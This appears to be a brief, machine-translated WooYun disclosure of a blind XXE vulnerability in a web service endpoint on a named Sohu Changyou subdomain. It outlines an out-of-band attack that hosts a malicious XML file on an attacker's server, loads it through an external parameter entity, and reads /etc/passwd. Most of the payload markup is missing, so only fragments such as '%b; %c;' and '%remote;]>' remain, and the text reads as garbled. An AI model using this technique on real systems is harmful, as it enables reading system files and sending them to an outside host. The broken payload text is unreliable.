User-defined XML file Blind XXE vulnerability exists in a substation of Sohu Changyou

User-defined XML file Blind XXE vulnerability exists in a substation of Sohu Changyou

See http://wooyun.org/bugs/wooyun-2016-0168457







Problematic Website:



Http://im.changyou.com/live800/services/IVerification? Wsdl


 

The custom XML file is as follows:


 

  
  %b; %c;
 
 

Save the xml file in vps as http: // ip: port/1.xml





The structure is as follows:
 

%remote;]>

 

We can modify the xml file that is externally loaded to any directory path or a specific file. Take reading/etc/passwd as an example:







The xml file is:


 

  
  %b; %c